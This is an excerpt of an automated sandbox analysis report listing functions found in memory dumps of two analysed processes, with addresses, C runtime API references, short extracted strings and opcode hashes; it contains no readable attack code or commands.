Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 0c0debe1338b4e03989d034699c05080bf2318c5d4a98e3a8d3587c772b60cd8
Instruction ID: 7331f1fc97c833289c8d8c08ed8dbfb8ad186251e6baf0da91d1f0da5312b1c0
Opcode Fuzzy Hash: 0c0debe1338b4e03989d034699c05080bf2318c5d4a98e3a8d3587c772b60cd8
Instruction Fuzzy Hash: B2A1D274A012059FDB10DF66C944BABB7A8FF15315F04816EE819D7341EB39EA04CBA5

Function 004EF35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004EF3A3

Strings

`'Q, xrefs: 004EF375
,mN, xrefs: 004EF367, 004EF49B
8"Q, xrefs: 004EF44B

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,mN$8"Q$`'Q
API String ID: 3903695350-3720420920
Opcode ID: 5336bc240501d6a929ff751636cc31c4eb9e4d68737f66d746394855fdc2a40e
Instruction ID: aaf282b0f47a3840ef6044d5e89ba4be529962909687f86ab90450a807c8c15b
Opcode Fuzzy Hash: 5336bc240501d6a929ff751636cc31c4eb9e4d68737f66d746394855fdc2a40e
Instruction Fuzzy Hash: 0F316931600781EFEB21AA3BD845B5B73EAFF0031BF10442BE445D6691DE78A8948A29

Function 004ECBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004ECC66

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 029cfba34e8025a72eba673cbd6b9b1e12e2f5d5d1f723734f9409a643b43934
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 48B112329002C59FDB158F2AC8C1BBEBBA5EF45345F2441ABE855EB341D6399D03CB68

Function 004CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 004CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBBE4
_xtime_get.LIBCPMT ref: 004CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBC13

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: dbf24f1b02c74065d3b0f65be1d84c6f459ec3887c6e9d62e00099f68a2b1fac
Instruction ID: ddce9aae9a9ad805a1a51d2a5b2b223544a44cc7f7aa1e2746412328fc8fac43
Opcode Fuzzy Hash: dbf24f1b02c74065d3b0f65be1d84c6f459ec3887c6e9d62e00099f68a2b1fac
Instruction Fuzzy Hash: 4E214F79A00109AFDF40EFA5CD82EBEB7B9EF08714F10005EF505A7291DB389D019BA5

Function 004BE360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004BE4F9

Strings

invalid stoi argument, xrefs: 004BE4F4
L1Q, xrefs: 004BE394

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1Q$invalid stoi argument
API String ID: 909987262-4022350853
Opcode ID: a0bfd2c73ed26c8495a733fac75312cb26e260ae6c6b51208fbce3686b4bf1e5
Instruction ID: 88f56f225b512452ab39b320cf90600a0de94d22d57b48ac7e2f87a40e47c739
Opcode Fuzzy Hash: a0bfd2c73ed26c8495a733fac75312cb26e260ae6c6b51208fbce3686b4bf1e5
Instruction Fuzzy Hash: 79F0C271900210ABD7209B6A9C06ADB33E8EB59714F00482AED1893242DB74A804D6A7

Analysis Process: Fwkdsz.exePID: 1748, Parent PID: 5844COMMON

Executed Functions

Function 02B2CE30 Relevance: 7.2, Strings: 5, Instructions: 983COMMON

Download Yara Rule

Strings

Te^q, xrefs: 02B2D553
pbq, xrefs: 02B2D9EA
xbaq, xrefs: 02B2CF5D
TJcq, xrefs: 02B2CFD2
L>>/:;a[)iUq, xrefs: 02B2D307

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: L>>/:;a[)iUq$TJcq$Te^q$pbq$xbaq
API String ID: 0-725434556
Opcode ID: 32618b206b827d6bb52f25d34150ee7a145aebca773752de576f424107d26c10
Instruction ID: 80440a99f07e8d733a12fcdbaef18392dbe1df5717845855cc99fd3a8db43fc2
Opcode Fuzzy Hash: 32618b206b827d6bb52f25d34150ee7a145aebca773752de576f424107d26c10
Instruction Fuzzy Hash: 48A2D575A00228CFDB64DF69C984A99BBB2FF89304F1581E9D50DAB325DB319E85CF40

Function 02B28DC9 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

4'^q, xrefs: 02B28EBA
4'^q, xrefs: 02B28E8F

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 8c2560189badea0bd0b02bbfb95f22092e2c96be754c5119d5a89a186cc43bcf
Instruction ID: edeb014cfbf6be280aa50db7853b74c7fe9eb8f67177fefcbfc531ef45734f31
Opcode Fuzzy Hash: 8c2560189badea0bd0b02bbfb95f22092e2c96be754c5119d5a89a186cc43bcf
Instruction Fuzzy Hash: 99711570E012098FDB18EF6FE85469EBBF3BBC9304F14C569D009AB268EB755846CB51

Function 02B28DD8 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

4'^q, xrefs: 02B28EBA
4'^q, xrefs: 02B28E8F

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: b3c0eddc3ba70a00643d56c7bc6bba177da26ca7c3a0c66660daa3b9f3648381
Instruction ID: d555ac393f2b194c1d3ba4bd7b07003198347568aa1d2a8b89b9c17a2b1c1a79
Opcode Fuzzy Hash: b3c0eddc3ba70a00643d56c7bc6bba177da26ca7c3a0c66660daa3b9f3648381
Instruction Fuzzy Hash: 3771F670E112098FDB18EF6FE85469EBBF3BBC9304F14C569D009AB268EB755846CB41

Function 074DEB90 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Deq, xrefs: 074DEC95

Memory Dump Source

Source File: 00000007.00000002.2706984918.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74c0000_Fwkdsz.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 9671037a6b0cc54cc3b59898832dabb156fbecfaafc4a88fe928f0dd95446c74
Instruction ID: 5c1177c075cd3fa373218671df7a3a4bf765cdd52e6f1c0e40008694b733fc4a
Opcode Fuzzy Hash: 9671037a6b0cc54cc3b59898832dabb156fbecfaafc4a88fe928f0dd95446c74
Instruction Fuzzy Hash: 9CD1D474E00219CFDB54DFA9D994B9DBBB2BF89300F2081A9D409AB364DB31AD81CF41

Function 02B2F168 Relevance: 6.6, Strings: 5, Instructions: 343COMMON

Download Yara Rule

Strings

(bq, xrefs: 02B2F38A
(bq, xrefs: 02B2F27C
(bq, xrefs: 02B2F2D3
(bq, xrefs: 02B2F4B1
(bq, xrefs: 02B2F3B6

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: (bq$(bq$(bq$(bq$(bq
API String ID: 0-2298650571
Opcode ID: c54d46fcb76f49a27f20afacef77e4e653098a1b3360b3d1444530001f5cc0c9
Instruction ID: 3ffb82c38a8bf083306f6a61fc3741080b63209230ed053380e8699935d8855b
Opcode Fuzzy Hash: c54d46fcb76f49a27f20afacef77e4e653098a1b3360b3d1444530001f5cc0c9
Instruction Fuzzy Hash: ECB1F1367042654FDB14DF69D850AAE3BE6EFC5711B1480AAE90ACB791CF35DC06CBA0

Function 074B524F Relevance: 2.6, Strings: 2, Instructions: 58COMMON

Download Yara Rule

Strings

6, xrefs: 074B61B4
5, xrefs: 074B52EA

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID: 5$6
API String ID: 0-3820194390
Opcode ID: 71f74907f20ee748f7f4e80cee6df7f20a4505bba150ed58bac984a80c5153cb
Instruction ID: 389a6672776cdb8527d9d03e71437aff1a6fa2e0dd726624cf860978ffdecbd0
Opcode Fuzzy Hash: 71f74907f20ee748f7f4e80cee6df7f20a4505bba150ed58bac984a80c5153cb
Instruction Fuzzy Hash: 6631ACB4905229DFDB60DF24CE84BD9BBB2AB49304F4085EAD50DA7250DB35AE82CF50

Function 074B5F62 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

G, xrefs: 074B61DB
+, xrefs: 074B5FEE

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID: +$G
API String ID: 0-3523822982
Opcode ID: b35c0e7df4042434271c659d5daf1df51fb23ff90fa1c2490eb9c7aa14bbc33a
Instruction ID: 5263b1ee38eccd6e852a3a6a9decebb6bd5fb4c649db7c0f957aac2ff15e5c84
Opcode Fuzzy Hash: b35c0e7df4042434271c659d5daf1df51fb23ff90fa1c2490eb9c7aa14bbc33a
Instruction Fuzzy Hash: 78119EB4904228CFDB60DF64CD44BDABBB1AB89304F0081EA954DA7394DB365E86CF50

Function 02B2E168 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

(_^q, xrefs: 02B2E3F5

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: 06a274a33bf7d8b184342050b24ea273199e771c60aab2fbfaa3f8dadcc1e8c6
Instruction ID: 9c833182445a83265e27e4da1328cfaf467bdf6c85c20b8fe566b47ecf4f1a97
Opcode Fuzzy Hash: 06a274a33bf7d8b184342050b24ea273199e771c60aab2fbfaa3f8dadcc1e8c6
Instruction Fuzzy Hash: 08225D35A002259FDB14DFA5D494A6DB7F2FF88300F1884A9E906EB3A1DB75EC49CB50

Function 02B28A2D Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

sq, xrefs: 02B28A34

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: sq
API String ID: 0-1320738648
Opcode ID: 40d61523a37c55a96565f09ea23f579a1fb073efce189134c305ef6c06bb8a77
Instruction ID: 9b7afb21ae1ad7303a5d074833644220b370d870fa0834ee8868281442b640f2
Opcode Fuzzy Hash: 40d61523a37c55a96565f09ea23f579a1fb073efce189134c305ef6c06bb8a77
Instruction Fuzzy Hash: 01416BB09063189FEB01EFA8C4487AEBBF2FF85305F1491AAD109E7255D7744A49CB61

Function 02B20848 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

Te^q, xrefs: 02B2092F

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: e652f683813186876b7cadcf731ccfc0f6152237a7f2dac8d565de9b95ef9bc2
Instruction ID: 1a97cf69a79202faabbb8e2aa0b8f71d9ae1d0a8a724925abffb433d69db4ac0
Opcode Fuzzy Hash: e652f683813186876b7cadcf731ccfc0f6152237a7f2dac8d565de9b95ef9bc2
Instruction Fuzzy Hash: 7D614B34B002149FC704EF69D598AADBBF2FF89710F1584A9E40AEB365DB31AC46CB51

Function 02B207F8 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

Te^q, xrefs: 02B2092F

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 26b8b50172a842d050dd6c879caf325bac546653309df8eecc7ae0e0a002b5ab
Instruction ID: c3b50a7b03179ca047cf75f15fea3e75cdb41d4a0c489b525713c34642496808
Opcode Fuzzy Hash: 26b8b50172a842d050dd6c879caf325bac546653309df8eecc7ae0e0a002b5ab
Instruction Fuzzy Hash: 5A519170B042549FC705EF78D464A9DBFF2AF9A610B15849AE445DB3A2CA309C49CB51

Function 02B208B9 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

Te^q, xrefs: 02B2092F

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: e16090a9447d1fc853d9ba54191823680f40fd3bc8f667bda8e40ba6db72ae2a
Instruction ID: 6c71ea8a6af12b68bd5565d3b2f64a86b0d4cdaec14b6b35850e044a8bce64cb
Opcode Fuzzy Hash: e16090a9447d1fc853d9ba54191823680f40fd3bc8f667bda8e40ba6db72ae2a
Instruction Fuzzy Hash: 9B414974B001149FCB44EF69D498AADBBF2AF9C710B2484A9E806EB3A5CF709C45CB51

Function 074B1503 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

!, xrefs: 074B1538

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: edfbf471a7ef5c3642622a734b33d080c14e4b9ceeb47fa18439ad1e5817207c
Instruction ID: 1554fb01ce8354640111c227e8f2893671c108038c5735f8c0d87c3e967fc564
Opcode Fuzzy Hash: edfbf471a7ef5c3642622a734b33d080c14e4b9ceeb47fa18439ad1e5817207c
Instruction Fuzzy Hash: 314122B091422ACFDB70DF28D994BEABBB2BB49301F1040EAC909A7254D7714EC4CF54

Function 074B1233 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

M^|, xrefs: 074B12F6

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID: M^|
API String ID: 0-1570543197
Opcode ID: 45f0bbeb5414738ed68e4fdd5598ec959701106e69b1209b4f04b6fbc2bc7d3e
Instruction ID: b2338bcdbe5fef3431215281c72d91c2f7f7db615b2d7dfad080fed1dfecd906
Opcode Fuzzy Hash: 45f0bbeb5414738ed68e4fdd5598ec959701106e69b1209b4f04b6fbc2bc7d3e
Instruction Fuzzy Hash: FE413870A111188FDB94EF28D899BAAB7B2FF89300F1041E9D64AD7359DB319D85CF80

Function 074B5561 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

?, xrefs: 074B60E2

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: 98dbe8b4eba03cc766a2c33a90439d4e30497dbc29ea2e8612225f21e55e8b07
Instruction ID: c2ce076d8e7299b6566c02a80a8748c067dc5910670ae47210eca5e677ada334
Opcode Fuzzy Hash: 98dbe8b4eba03cc766a2c33a90439d4e30497dbc29ea2e8612225f21e55e8b07
Instruction Fuzzy Hash: 06E0A57480621ACEEB34CF11D948BE9BAF0AB01344F1094A6C409A3291D3354E86CF50

Function 074B6069 Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

8, xrefs: 074B60A0

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 1171e749415a6d5b1c0e5f7fdc87cd3874fc4214e19461f0a7e67e71d7aa39cc
Instruction ID: 819208f23f97069afe969c47345aa9a9db0e2f43fa19731d6ea68925511663dd
Opcode Fuzzy Hash: 1171e749415a6d5b1c0e5f7fdc87cd3874fc4214e19461f0a7e67e71d7aa39cc
Instruction Fuzzy Hash: C0E09278905229CFDB60CF20CA84BD9FBF1AB45304F1485EA8409A7291DB359F86DF40

Function 02B28B50 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c9f112f72edaad5aa17b0c2a03f875b57e770de4cf9a08cc2bc6c66f7c6df7c
Instruction ID: cb84e1ee17a35ba0aa03b1ebbdac324d4b67e33c6652aae9f67ff7a81960fb24
Opcode Fuzzy Hash: 4c9f112f72edaad5aa17b0c2a03f875b57e770de4cf9a08cc2bc6c66f7c6df7c
Instruction Fuzzy Hash: CF3138B09072199FEB00EFA9C4487AEBBF2FF45304F1491AAD10AE7255D7744A49CB61

Function 074B3C03 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1d39238efaed82a732dd03ea17433ada181577dec76208bf2dae4376066c85a
Instruction ID: 06dc144699a96fc7892e20e34248a66ac6d4be4aaf22b26f147db58b12a42bc9
Opcode Fuzzy Hash: a1d39238efaed82a732dd03ea17433ada181577dec76208bf2dae4376066c85a
Instruction Fuzzy Hash: BFA1E2B4A15218CFDB64DF6AD880BEEBBB2FB49300F1091AAD509A7349DB705D85CF50

Function 02B2F638 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2639786281.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b20000_Fwkdsz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27dd5f03c0c0678f35d0c04177936d201302cb2bb339a5319249f6204a157f49
Instruction ID: de3072a8d921ed1ed5500846a0cac0ab8183b1636aebd709d8b7f3c1e9c19e2d
Opcode Fuzzy Hash: 27dd5f03c0c0678f35d0c04177936d201302cb2bb339a5319249f6204a157f49
Instruction Fuzzy Hash: A9810A75A00628CFCB14DF68C5849ADB7F5FF88314B2585A9E90A9B770DB30ED46CB90

Function 074B4720 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f967046b184e48f230e150a5ce27aff04fcbc59cab4401af5be36b73b9780a
Instruction ID: b7d0fccb8c9deb069341e0370623dc9499ce9f86d00a016c549e947a6da7ace6
Opcode Fuzzy Hash: 34f967046b184e48f230e150a5ce27aff04fcbc59cab4401af5be36b73b9780a
Instruction Fuzzy Hash: F09126B4905258CFDB60DFA9C844BEEBBB6FB4A300F00906AD509A7355D7385D46CF64

Function 074B1C59 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2706800945.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_74b0000_Fwkdsz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e0947f779faa05fb7b46beaa25bbe8bc67f1e23344b55f6b60c935c6b974552
Instruction ID: 95c6a9532f155348edc1c1712a7ee53b1886efa757b312e901cb410590edb14f
Opcode Fuzzy Hash: 6e0947f779faa05fb7b46beaa25bbe8bc67f1e23344b55f6b60c935c6b974552
Instruction Fuzzy Hash: 3A8112B0D05208CFDB24DFA9E994BEEBBF2BB49300F10916AD519A7294DB741D46CF50

Function 074B1C68 Relevance: .2, Instructions: 193COMMON

